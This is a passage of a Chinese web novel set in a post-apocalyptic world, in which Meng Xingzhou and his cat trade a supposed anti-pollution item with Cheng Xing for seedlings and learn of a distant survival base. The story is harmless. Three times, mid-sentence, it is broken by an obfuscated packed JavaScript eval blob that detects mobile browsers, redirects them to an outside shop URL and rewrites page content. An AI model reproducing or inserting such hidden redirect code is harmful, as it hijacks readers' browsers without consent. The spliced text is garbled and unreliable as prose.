孟星洲低头,他正踩在一片发黑的血迹上,血迹从脚下一路向前延伸,尽管孟星洲从没有来过云舒华府,但他知道这条血迹最终通向哪里。 4栋1单元。 孟星洲停下脚步。 菜菜最终还是没有回到家里,它停在了消防通道的楼梯间里。 血迹不再向前延伸,一百多斤的大狗,只在地砖缝隙里留下污染物舔不干净的血丝,还有一团打结的毛发。 在污染物狂欢的夜晚,一旦失去反抗能力,就会被瓜分殆尽。 孟星洲:“它还是没能回家。” 迟菟蹲坐在孟星洲的小臂上,想了想,往后一倒靠在污染源的胸口,这个角度,仰头只能看见污染源绷紧的脖颈和下颌:“咪。” 猫认为,狗现在已经见到它的家人了。 想了想,迟菟又叫了一声:猫认为,狗是好狗。 孟星洲依然有些走神:“就差一点……” 爬上三楼,就是家门了。 “菜菜家里也没人了,都爬出去了。” 身后传来程行的声音。 孟星洲并不意外,程行不掩饰脚步声,孟星洲也没有改变自己的目的地。 程行走到安全出口外,沉默几秒:“菜菜一家都很好。以前每星期都去我那吃两次甜筒,亲儿子吃一个,狗儿子吃一个,公平公正。” 挺出乎意料的,孟星洲居然会来可惜差点杀了自己的菜菜,看样子是知道菜菜的来历,果然有额外的信息来源。 笔记里提到程行在商城开了个冰激凌小卖铺。 孟星洲沉默几秒:“菜菜家里条件不错,你们商城的甜筒,卖的比市里还贵,五块一个。” 他偶尔路过,从来没舍得买。 他家迟菟更可怜,长这么大估计都没吃过冰淇淋。 程行的伤心烟消云散:“加草莓的才5块!正常的也三块。” 孟星洲转回刚才的话题:“菜菜是清河西镇第一个污染物?” 程行摇头:“当然不是。污染从水里来的,钓鱼的扔了鱼给猫吃,猫感染了,菜菜因为敏感护主,咬伤了吃鱼的人和猫,才导致的感染。即便这样,它也没有攻击家人,只是出去弄点污染物吃……” 孟星洲:“后来还带回给301一家,导致一家人都成了污染物。” 程行心里叹了口气:这小子还真有信息渠道。 已知孟星洲必然持有【污染】、【触手】两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538063|203874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天赋,现在可能还持有治愈和全知方面的天赋。 同时持有四个天赋,真的假的?一向以猎奇著称的清河西,都没出过这种奇葩。 清云基地真是看走眼了,这么个人物,随便就扔出来了。 程行蹲在地上,从口袋里摸出一根烟,放在鼻子底下狠狠闻了两口:“做点信息方面的生意?” 孟星洲嫌弃地往后退了一步:“别抽烟,要问就问。” 程行又把这根过期烟揣回去了:“你刚来清河西镇,对镇子上的情况可以说是一无所知,我们可以来交换信息。” 孟星洲不置可否:“先说你想从我这里知道什么。” 程行耐性不错,憋到现在才展露他追过来的目的。 程行盯着地上的血迹:“74136,它以前脾气也不错,至少在污染物里算是可以沟通的类型,但和其他污染物一样,完全是偏执狂,绝不通融,它抓过不少人体座椅,一定要被25个人坐过才算清账。” 孟星洲的注意力立刻被拉走了,满脑子都是:被25个人坐过……被25个人坐过…… 原来不是来回25趟,而是被坐25次吗……被不认识的男男女女坐大腿25次,每次持续数个小时。 肉/体和精神都备受折磨。 程行没注意孟星洲的思维已经完全跑偏,他脸色相当严肃:“两年以来,一直如此,从来没有例外。直到你搭过74136,才第一次出现提前释放人体座椅的事情。” “脑子生锈的大巴居然也知道计算得失,不仅意识到带那些座椅屁用没有,行动上甚至能直接抛弃这些椅子,像突然清醒了一样。” 意识到自己有问题,但不能改掉问题的正常人类都屡见不鲜,何况是个脑子不利索的大巴? 程行和镇子上其他幸存者一致认为,74136的智商不如成年金毛犬。 袁卓曾经表示:接触了74136之后,觉得应该不会有智械危机这种事情发生。 74136完全是会说话的傻子啊! 孟星洲沉默。 74136今天早上甚至还想偷偷来送他,又怕碰上59837,一步一刹车,差点把孟星洲晃吐。 “还有这只猫,”程行狼一样的眼睛紧紧迟菟,“稳定,平和,它比我见过的最聪明的狗都镇定。” 迟菟被程行看得奓毛,忍不住向程行呲牙。 孟星洲伸手,将小猫脑袋摁进自己胸口:“别乱看。” 污染源的手修长温热,一下将猫脑袋笼进柔软的体温里。 迟菟温顺地呼噜两声,安心下来。 程行意识到自己踩了孟星洲的雷区,收回视线:“从你来集市到现在,它没有任何偏执向的表现,明明就蹲在兔肉旁边,都能对鲜血和污染无动于衷。” 污染物见了污染和血就疯了,所以他们才会在广场上摆放香气霸道的四季景。 就连程行这样的天赋者,明知道等级越高越容易迈向疯狂,也总是忍不住摄取更多的污染。 “变量是你,对吧?” 孟星洲想起来了:他交车费发生在寸头几人被制成椅子之后,几人都没有看到他具体给了大巴什么东西,从寸头嘴里扣消息的程行更不知道。 “原来是为了这个,居然是为这个。” 孟星洲揉揉迟菟。 到此刻,孟星洲如愿以偿地抓住程行态度变化的关键。 程行一愣。 孟星洲甚至冲他笑了下。 年轻污染源半张脸都在帽檐的阴影下,视线模糊不清,日光只勾勒出他缺乏血色的嘴唇和细腻苍白的下颌。 程行终于意识到,孟星洲从拐进云舒华府,就是等着他主动追过来暴露目的。 也许孟星洲对菜菜表现出的惋惜,和集市上如同正常人一样的交流,都是为了降低他的戒心。 孟星洲道:“你已经笃定是我带来了变化,想直接从我这里得到解决方案。可以,但如你所想,我确实持有与信息相关的天赋,清河西的现况我很快就能摸清楚,你得拿出更有价值的交换物。” 程行:“……你想要什么?” 孟星洲:“种子。” 程行闭了闭眼。 13. 猫的午饭 程行想不到事情居然又绕回来了。 据点执着于良种,程行可以理解,毕竟人口太多,但孟星洲一个人要良种干什么? 难道他还能有木系天赋?不,也可能是打算组建新的据点。 如果失去粮食的垄断,能换到的汽油一类能源就会减少,冬天仅靠柴火,商场里的老弱病残能熬得下去吗? 但如果放弃交易……曲凌怎么办?曲凌出了问题,他程行是可以脖子一吊,商城里的老弱病残怎么办?去南山?干不动活,早晚饿死。 程行越想越觉得背后发冷。 有所求的人,一旦暴露需求,就等于失去部分底牌。需求越急迫,主动权越被稀释。 孟星洲有别的疑惑:“看你还挺正常的,你们据点那个木系天赋者,难道已经出现精神上的问题?这不是高级天赋者才会有的问题吗?” 清云基地偶尔也会见到发神经的天赋者,但都是序号靠前的高级天赋者了,还是说商城的天赋者,等级很高,但是备受精神污染的折磨,以至于无法清扫据点附近的污染物。 程行搬起石头砸自己的脚,没套到信息反而被套了。 良久,他才说:“不是。你在清云那样的大据点,难道没见过普通人也被精神污染骚扰吗?有些人就是敏感,成为天赋者之后,折磨不会减轻,反而加倍。” “尤其是双月都变成红色的时候,我这种五大三粗的货色都会受到影响。我们据点本来还个天赋者,末世来之前是钢琴老师,本来就敏感,又觉醒全知系列下的天赋,第一次红月的时候,直接从商场天台直接跳下去了。” “她当时只有四级……跳下去之后,就跟菜菜一样……我们去救都来不及。” 全知系列,孟星洲虽然不清楚天赋的具体划分,但直接看字面也能猜到全知代表什么。 他心里沉了一点,迟菟持有的【流浪诗人】,明显就是信息方面的天赋。 还有红月,这是他之前都忽略的事情。 对于普通人而言,红月意味着污染物的疯狂,基地会拉响警报,所有人居家不出,只有天赋者负责巡街。 但现在,孟星洲自己和猫都是污染物了,他们将以污染物的身份度过第一个红月。 程行很疲惫:“看起来你对这方面了解不多。精神污染这种东西,知道的越多,越接近污染。据我观察,据点里从事文艺或者科研工作的,就算不是天赋者,也容易遭受精神污染。” “普通人,甚至低级天赋者,近距离长时间,接触远超自身等级的污染物后,也会受到精神冲击,出现轻微的视觉扭曲,甚至认知问题。你是普通人的时候,一直在处理厂工作,难道没有眩晕恶心的症状?” 孟星洲疑惑:“那不是因为过劳吗?我一般会申请多加工资,看到补贴就感觉好了。” 同事们当然常说自己受到了精神污染,因此可以申请到假期,或者直接领工资走人。 但孟星洲一直认为是污染物长得恶心,加上996,才导致同事们心理崩溃。 而昨天一口气从一级直接跳到六级,他也没有任何症状。 因为他比较粗糙? 程行服了:“……你一个人挣那么多钱干什么?难道清云基地还有销金窟?” 听卷毛讲,这小子明明一人吃饱全家不饿,但硬生生在处理厂干了两年,为了什么? 孟星洲奇怪地看了他一眼:“能买的东西明明很多,手表、黄金还有房子。末世前买不起的东西都跳楼价大甩卖了,我为什么不买?” 可以说他只有盲盒没玩过——末世搜资源都是□□,所有盲盒都变明盒。这些漂亮的小东西,被孟星洲放在自己的40平小家里。 提到房子,孟星洲略作沉默。 一朝流放,他的房子和积攒的家产都充公了。 程行此刻终于意识到,可能孟星洲本来就有病吧,末世了,在一个说不定哪天就完蛋的基地里买房,还买一堆塑料小垃圾堆在房子里。 神人。 程行:“不管你之前怎么样,现在作为……天赋者,和以前是不同的。而且你还持有全知系列下的天赋,这是公认的,最容易被精神污染找上门的天赋者。” 孟星洲脸色也稍微沉下来。 他的迟菟会和那个钢琴家一样,从高楼一跃而下吗? 程行:“我现在提供的信息足够有价值吗?” 孟星洲回神:“虽然有价值,但和你据点那位木系天赋者的生命比起来,还不够吧?别担心,我也不要粮食种子。” “我没有木系天赋,也不会种地。而且末世前种地的性价比就很低,一年到头挣不到几个钱。现在搞种植,更没活路。” 程行苍白的脸色慢慢恢复,安慰自己一样重复:“……哦,你不要粮食种子。” 孟星洲虽然确实有心给程行下马威,但没想到能把程行吓成这样:“……你在想什么三足鼎立,清河西争霸的剧本吗?我没那么无聊。” 在末世指望种地发家吗? 木系天赋者可以短时间内,在小块土地甚至水培溶液里直接催生大量植物。 非木系天赋者呢?手动开垦一大片土地,人工除草、施肥,还得防止鸟类偷吃。 孟星洲作为污染源,唯一的作弊手段就是撒污染,然后一地长着眼睛触手和嘴巴的植物们欢呼着拔根而起,喊着“真主真主我要跟随您”地簇拥上来。 画面太可怕,孟星洲自己都不想看到。 虽然被赶出了清云基地,但孟星洲并没有报复全人类的打算。 “你想要什么种子?” 程行在短短的交谈中身心俱疲:“我们据点的良种也不多,大部分都是主食,不一定有你想要的。” 孟星洲:“我想要你们商场门口盆栽还有果树的种子。” 盆栽的作用巨大,馥郁的香气可以掩盖他宰杀污染物的血腥气,如果受伤,也会有效掩盖他的气味。 而且……孟星洲没记错的话,那几株盆栽看起来有一定的攀援能力。 至于果树。 孟星洲除了单纯想吃,也是因为到适当摄入糖分,对维持精神状态有正面意义。 即便现在他没有因为幻听导致神智出现问题,但十级以后呢? 孟星洲摸了摸迟菟,尤其是怀里的小东西。 程行抹了把脸:“你说那两盆四季景?别说种子,我一会儿直接偷一盆送给你。至于水果树,这玩意儿在我们据点也不多,我去看看能不能弄个小柠檬树。” “现在该你拿出诚意了,东西我可以给,你真的有克制精神污染的东西吗?” 孟星洲从口袋里摸出一个指头大小的玻璃瓶子,里头存着一层薄薄的黑色液体。 迟菟看到玻璃瓶,就下意识舔舔嘴巴。 三点污染,本来是它今天的午饭。 程行的视线情不自禁黏在瓶子上:“这是什么?” 孟星洲手指碰到腰间的骨刀,他想了想,张口就来:“一种天赋道具,包含一定量的污染,服用就能生效。我就是用它交了74136的车费。” 液体在瓶中微微摇晃,在日光下呈现出丝绒般的质地和光感。 程行控制不住地上前两步,伸出手。 孟星洲屈指将小瓶捏进手心:“站回去。” 程行的脑子一下清醒了,心惊的同时警惕道:“真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538064|203874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这个道具吗?你自己试过?” 孟星洲当然没吃过,不过这东西就流淌在他身体里,于是面不改色:“你以为我和猫流放一路吃的是什么?” 迟菟严肃点头。 是的是的,猫就是吃这个的。 程行死死盯着玻璃瓶。 瓶子里的东西确实神奇,程行上一次有如此强烈的渴望,还是他第一次接触到同系列污染结晶的时候。 但这种渴望并不使他疯狂…… 程行还记得第一次接触结晶是个红月高照的夜晚,手握结晶的是朝夕相处的朋友,他自认也品行过关,但摸到结晶的时候,他竟然有杀死对方将结晶占为己有的想法。 甚至在那之后的多个夜晚,他都为这杀戮和占有的欲望辗转难眠,内心有鼓噪的声音叫嚣着要将恶意践行。 孟星洲:“我相信你能感觉到它不一样。至于有没有用,目前只有我、猫还有大巴吃过,样本太少,因此不能确保它对其他人类有效,也不能确保它可以一劳永逸。” 但是吃过的污染物都说好,猫和大巴亲口认证。 迟菟再次严肃点头。 很不一样哦! 程行确实能感知到:“你有多少?” 孟星洲答非所问:“换还是不还,你自己选吧。” 几个盆栽,加一棵小果树……本身价值也不高。 换这么个道具赌一赌不亏,而且曲凌真的撑不了太久了。 程行下定决心:“你在这儿等着。” 他转身往据点走。 “你一定明白。” 孟星洲的声音从身后传来,冷淡且意有所指:“和南山据点比起来,我显然更不容易威胁到你们。” 程行:“……你还记得,刚才亲口说自己不打算搞什么三足鼎立吗?” 孟星洲:“我只是提醒你别乱说话。” 程行绝望:“我知道,我不是74136那种傻子。” 整个快乐广场的存活都建立在曲凌健康的基础上,一旦曲凌这里崩盘,据点也会跟着完蛋。 这破高中生已经拿捏了快乐广场的命门。 程行叹着气,摇头离开。 孟星洲看着程行的背影:“他肯定觉得自己很赚。” 迟菟:“咪?” 可是他看起来很伤心。 孟星洲摇头:“不,我能感觉到,他在开心。而且……我们要的东西,对广场根本不算什么。” 水果又不能当饱,只有那棵盆栽算得上有价值。 迟菟睁大眼睛:“喵?!” 那就是我们亏了吗? 孟星洲疑惑:“你一顿的猫粮换那么多东西,亏在哪里?” 盆栽对他们来说是刚需,快乐广场也明显知道盆栽的价值,不存在被捡漏的可能,如果硬要换,至少得多拿出好几块肉。 孟星洲抿了下干燥的唇角,眼睛微亮:“而且我也很喜欢吃水果。” 提到吃的。 猫也忍不住舔了舔嘴巴:对哦,那只是它的一顿饭而已。 “他觉得赚是好事,让他自己美去吧。” 孟星洲轻声道:“关键是红月。” 他看向天空:“30天一次,今天是17号,下次在……12天之后。” 届时,那在两年前突兀降临的红月,将把第一轮月亮也染成红色。 云舒华府后门 程行用力活动下巴,免得自己直接大笑出声。 那破果树能值几个钱,又不能当饭吃。 盆栽是不便宜,但没有木系天赋者的加持,要回去也没用! 两个小树苗换一个天赋道具,赚死了! 14. 代号,【观测者】 快乐广场门口的盆栽,是木系天赋者曲凌培育的变异种。有极其浓郁的香气,能够很好地掩盖其他气味。 这种植物和月季一样花期漫长,茎秆上的尖刺微毒,别看只有半人高,成熟植株属于二级污染物。 “你真的打算和他交易?当时南山据点来换四季景,你都没答应。” 阳光房里,曲凌坐在花坛上,脸色青白,眼窝深深地凹陷下去。 他刚刚从噩梦中惊醒,右臂一道深可见骨的刀伤让他的手臂不停颤抖,沾血的凶器就被曲凌握在手心。 可以看出这道触目惊心的伤口,是曲凌自己造成的。 程行顾不上回答,赶紧给他包扎:“现在白天也能听到声音了?” 自从曲凌进入十级之后,原本只是在升级和红月出现过的幻听突然严重。一开始只是普通的幻听,不到两个月就发展成整夜的噩梦,只有白天才能勉强休息一会儿,曲凌已经昼夜颠倒很长时间了。 曲凌推他:“别弄,疼点我清醒些。” 程行抓了抓头发,疲惫地坐在地上。 他就算升级都很少有幻听,曲凌却在没有觉醒的时候就饱受精神污染的折磨。 他无法感受,不能分担,更无力改变。 从刚开始的愤怒,到现在时时刻刻的胆战心惊。钝刀子割肉,程行每一夜都不敢合眼,生怕一个没看住,曲凌就会在随便一个夜晚自尽。 但程行和曲凌知道,那个夜晚会在不久的将来,降临到他们身上。 程行慢慢收起药盒,故作轻松:“成,给据点省点药,这年头创口贴都是纸片黄金了。” 曲凌:“那个孟、孟星洲,怎么回事,你仔细说清楚。” 程行简单说了来龙去脉。 曲凌热得发晕,也坚持坐在阳光下:“原来是这样。果树的话,我可以给他一棵能结小番茄的树苗。至于四季景……一个没有木系天赋的人,要四季景干什么?” 程行:“他靠狩猎过日子,肯定需要气味浓郁的东西遮盖血腥气。他眼光不错,四季景确实是好东西,经你手催发,三盆就能覆盖整个商城,气味能隐蔽商城,花刺又有防护作用。虽然非木系天赋者没法催生出这个效果,但南山不是一直在往外扩张吗?万一真抓到一个,四季景就要倒过来给我们添麻烦了。” 至于孟星洲,程行并不担心。 没见过同时持有五六个天赋的,如果孟星洲真还能变出个木系天赋,程行直接服了算了。 曲凌慢慢点头。 说到这里,程行有些激动:“我们能和南山一直拉锯的平衡点就是你和59837,失去任何一个,我们都可能完蛋。59837没什么好担心的,只要你一切都好,我们就还有希望。” 曲凌叹气:“吞并不吞并都无所谓,问题是南山幸存者被剥削的太厉害了,拿普通人当消耗品。但是……” 他用力揉了揉眉心,只有完全暴露在阳光下,他才能正常思考:“你有没有想过,孟星洲既然知道天赋道具,怎么会不明白天赋道具的价值?携带特殊效果的道具,怎么可能用这点东西就能换来?” 程行发热的大脑冷静下来。 曲凌说得对,他觉得自己赚了是真的赚吗?孟星洲好歹是个污染物,难道真的不知道精神污染的危害? 程行越和孟星洲相处,越牢固地将“普通高中生”的标签焊死在孟星洲身上。 程行惊觉自己和孟星洲的每一次交流,都会有自己在胜利的错觉,而他就被这唾手可得的胜利感冲昏头脑。 曲凌没想那么多,看到程行脸色越来越难看,有点好笑:“我又没说不让你去换,他要的是真少。就算我们被骗了也损失不了什么,只要他无法冲击粮食价格,他越强,对我们越有利。至于道具有没有用,赌一把不亏。” 程行没有解释自己的担忧:“你说得对。” 程行在阳光房里打包了一棵即将开花的盆栽,再揣上一个小树苗,刚打开门,曲凌忽然在后面叫住他。 “把这个也送给他吧。” 曲凌递去一个牛皮纸包。 程行吃惊:“给他一个?!我们也没几个存货了。” 曲凌纳闷:“又没人用,存那么多干什么?你还要再用一遍?” 程行:“……也是。” 曲凌:“我刚刚才想到。既然他随便就能把道具拿出来交易,证明这种制造这种道具对他来说不算难事,如果道具需要一月一次地服用,我们也许要和他做长期交易,跟他示好还是有必要的。” 程行:“行吧,我都听你的。” 曲凌面露疲惫:“你去吧,别让他等急了。” 程行走到门口,又指他一下:“困就去喝咖啡,不够我就去别的地方换,别不拿自己当回事。” 说完才急匆匆出门。 曲凌看着程行的背影,慢慢将视线移向玻璃窗。 看着玻璃上不人不鬼的倒影。 曲凌扯了扯唇角。 二级污染物和小果树就能换到的天赋道具吗?可能和安慰剂差不多吧。 作为那个真正承受精神污染的人,曲凌比任何人都清楚,这种精神上的折磨不是压力太大带来的幻觉。 那甚至也不是幻听,是真正的诡秘私语,从噩梦的间隙,从黑暗的深处,从夜空,从月亮……从一切地方幽暗的地方来,窸窸窣窣地钻进耳朵和大脑。 这么可恶!为什么只有他承担这种痛苦,为什么…… 曲凌伸手扣进伤口,将皮肉的伤痕再次拉开,剧痛让他又一次清醒过来。 他苦笑,他不知道那些私语发源何处,却知道它会在灵魂上把人剔骨削肉地改造成怪物、疯子。 治愈精神污染? 末世前,人连精神疾病都无法解决,何况是这种简直要用神秘来解释的怪异情况。 曲凌对孟星洲的天赋道具不感兴趣,也不抱有期待,他之所以同意,是因为程行比他更需要这份希望。 而他一旦自杀,商城就需要一个新的庇护者。 要是有了新的天赋者,大家也许还能撑下去。 要是有了更强的队友,程行的担子也能轻一点。 要是能……活下去就好了,好可惜,他还有太多事情没有做…… 曲凌疲惫地低下头,又昏昏沉沉地睡着了。 …… 孟星洲等在4栋楼下。 程行大概是在商量,好一会儿没有回来。 趁这个功夫,孟星洲从车里拿出一个一次性小碗,给迟菟喂了点水和污染。 迟菟吃午饭的时候,孟星洲就在一边捡石头,还拿出骨刀在一块平整的石块上刻了几个字,再将找到的石头一块一块地堆高。 他专心垒石头,一直在装死的影子突然活跃起来,咕叽一声摊平了,将小小的楼梯间占满。 孟星洲低头,影子欢快地在墙上爬来爬去:“……缩回去。” 影子僵了一秒,老实缩了回去。 孟星洲站起身,这才发现地砖干净到像被狗舔过,皱眉:“……你能不能不要乱吃东西?” 菜菜仅存的那点痕迹,都被这影子舔了个干净。 影子咕噜咕噜冒出几个小狗形状的气泡,孟星洲隐约听见了犬吠的声音。 他一手搭上骨刀,环视一圈。 菜菜的活动范围里当然没有第二只狗,迟菟吃得头都不抬,显然没听见任何动静。 孟星洲慢慢放下手,疑惑:程行前面说完精神污染,他后头就出现幻听,难道精神污染还能口头传播? 不可能,他以前也听过哪个天赋者受污染的八卦,并没有受到任何影响。 孟星洲将冒出头的黑尾踩下去:应该是影子搞出来的鬼动静,小狗泡泡都能有,狗叫有什么难学的。 迟菟吃完了污染,喝干净水,叼着小碗放回车里,怕碗被吹走了,还扒拉了手电筒压住碗。 它收拾好东西,一抬头:“咪咪!” 来了来了,大个子回来了! 孟星洲回头,是程行走了过来。 程行下意识看了眼孟星洲身后的小石堆,心道:还扣石头玩,这人演戏怪敬业的,没人看着都保持那个破高中生人设。 程行放下手里的木箱:“一棵盆栽,一棵变异种小树苗,能结小番茄,都是多年生植物。” 两棵植株分装在小盆里,都不足孟星洲手臂长。 盆栽已经打了花骨朵,不日就能开放,小果树苗长着嫩叶,连花也看不见,估计得养上好一阵子才能看到果子。 孟星洲点头。 程行对盆栽和树苗进行简单的养殖科普:“盆栽四季景,要种在日光好的地方……小番茄树三天浇一次……” “现在,把天赋道具给我吧。” 程行将木箱推到孟星洲身边,伸出手。 孟星洲在他手心放下小瓶。 程行不敢多看玻璃瓶,迅速塞进口袋,最后摸出牛皮纸包:“这是赠品。” 孟星洲接过来:“什么东西?” 牛皮纸包很厚,重量却很轻,里面应该也是纸张。 程行:“天赋者入门说明和试纸。把血涂抹在试纸上,可以测出天赋。” 孟星洲好奇地捏捏纸包:“这就是南山据点出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538065|203874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品的天赋道具?” 程行一头雾水:“跟南山据点有什么关系?” 孟星洲简述了窦思莹的话:“……说南山据点有能测试能力的天赋者,难道不是南山产出的天赋道具之一?我在清云基地都没见过这种试纸。” 说到这,孟星洲下意识摸了摸迟菟。 好在清云市没有试纸,否则测出迟菟的天赋,他和猫今天指定是出不来的。 程行直接把南山的老底掀开:“放屁!南山没那种天赋者,他们是拿的试纸多!那一包空投里的30份试纸,几乎都被他们拿走了。清云基地肯定也有,我估计是大基地天赋者太多,用完了。” “你小心点南山,那边对天赋者威逼利诱,强行征收了很多天赋者。” 程行记着曲凌的话,索性全盘托出:“这是01号基地研发的东西,去年四月空投到很多据点。” 孟星洲第一次听说清云以外的基地,倏然抬头:“01号基地?在哪儿?” 程行:“据说在丰京市,离得远着呢。” 孟星洲:“丰京市……” 丰京听过,末世前的超一线城市,居然没有完全沦陷吗? 孟星洲去过最远的地方就是清云市中心,他甚至没去过父母务工的珠城。 尤其是末世后,网络通讯截断,世界突然缩小收窄,生存的紧迫保鲜膜一样裹着所有人的感官。 此刻“01号基地”针尖一样扎破了这层膜,孟星洲突然想起这个不算大的城市外,有一片他从来没去过的地方。 他内心的欲望,向外看的欲望,又蓬□□来。 这不好。 孟星洲默默对自己说,你有一只猫要养。 程行记得曲凌的话,索性多说几句:“01号基地,是国内最大的生存基地,也是世界上最大的生存基地之一。在最初期的时候,01号基地向不少地方进行资源空投。今年不知道是不是情况不太好,听其他据点的人,只有靠近01号基地的地方还能收到空投。” “人类第一个五十级以上的天赋者,就出现在01号基地,”程行忍不住说,“活见鬼了,五十级的天赋者,真的没疯吗?” 孟星洲:“可是五十级以上的污染物并不少吧?一个天赋者应付得过来吗?” 触手天赋吗?可以一打多? 程行:“他是第一个五十级以上的天赋者,不是唯一一个,而且去年就是五十级了。在还能收到01号基地消息的时候,他已经收复了四座陷落的城市,捷报在空投里都有。现在就不知道了,都不一定还活着。” “附带的天赋说明对你来说肯定很有用,对天赋做了基础的分类,也标注了升级需要的条件,是周边据点都默认的分级分类方式。 “附带的试纸只能测出01号基地收录过的天赋。但有个别很奇怪的天赋,可能是没有收录,测不出来。南山七个天赋者里,有一个就测不出。” 孟星洲捏着牛皮纸包,郑重地放进迟菟的怀里:“谢谢,这个很有用。” 程行摆手:“没事儿,天赋说明其实被抄了很多份,你去其他据点都能花点物资买到。试纸虽然少,但对你来说也没啥用,你不是那个污那个源嘛,多天赋持有者还搞不清自己的天赋?不过注意试纸上的批注,注释人有点欠了吧唧的,但真有用。” 抱着牛皮纸包的迟菟:“……” 孟星洲:“……” 程行:“行了,如果01号基地还在,如果那个天赋者还在,也许依然在缓慢地收复陷落城市,只要能熬下去,可能哪一天,你又能回去上课了。” 他站起身,拍拍屁股:“走了啊。” 孟星洲:“等等。” 程行警惕:“干什么?” 孟星洲:“别紧张,我就想问问,你知道丰京市怎么走吗?” 程行:“?” 他咂咂嘴,这小子心真够野的,还想去丰京? “不知道,没导航谁知道怎么去啊?”程行摊手,“我当兵那会儿从丰京走的,但没什么印象了,就记得离这儿老远了。” 那么远的地方…… 孟星洲抱着猫,追问:“那你知道那个天赋者的名字吗?” 程行绷不住乐了:“我吗?我知道他的名字吗?你还怪抬举我的。” 孟星洲:“你真不知道?” 程行欺骗未成年的心思刚刚活跃,突然想起自己坑人不成一直在被坑,迅速歇了这个心:“名字不知道,我只知道他的代号。” 孟星洲歪头:“是什么?” 程行:“代号【观测者】,可能持有什么和眼睛相关的天赋吧。”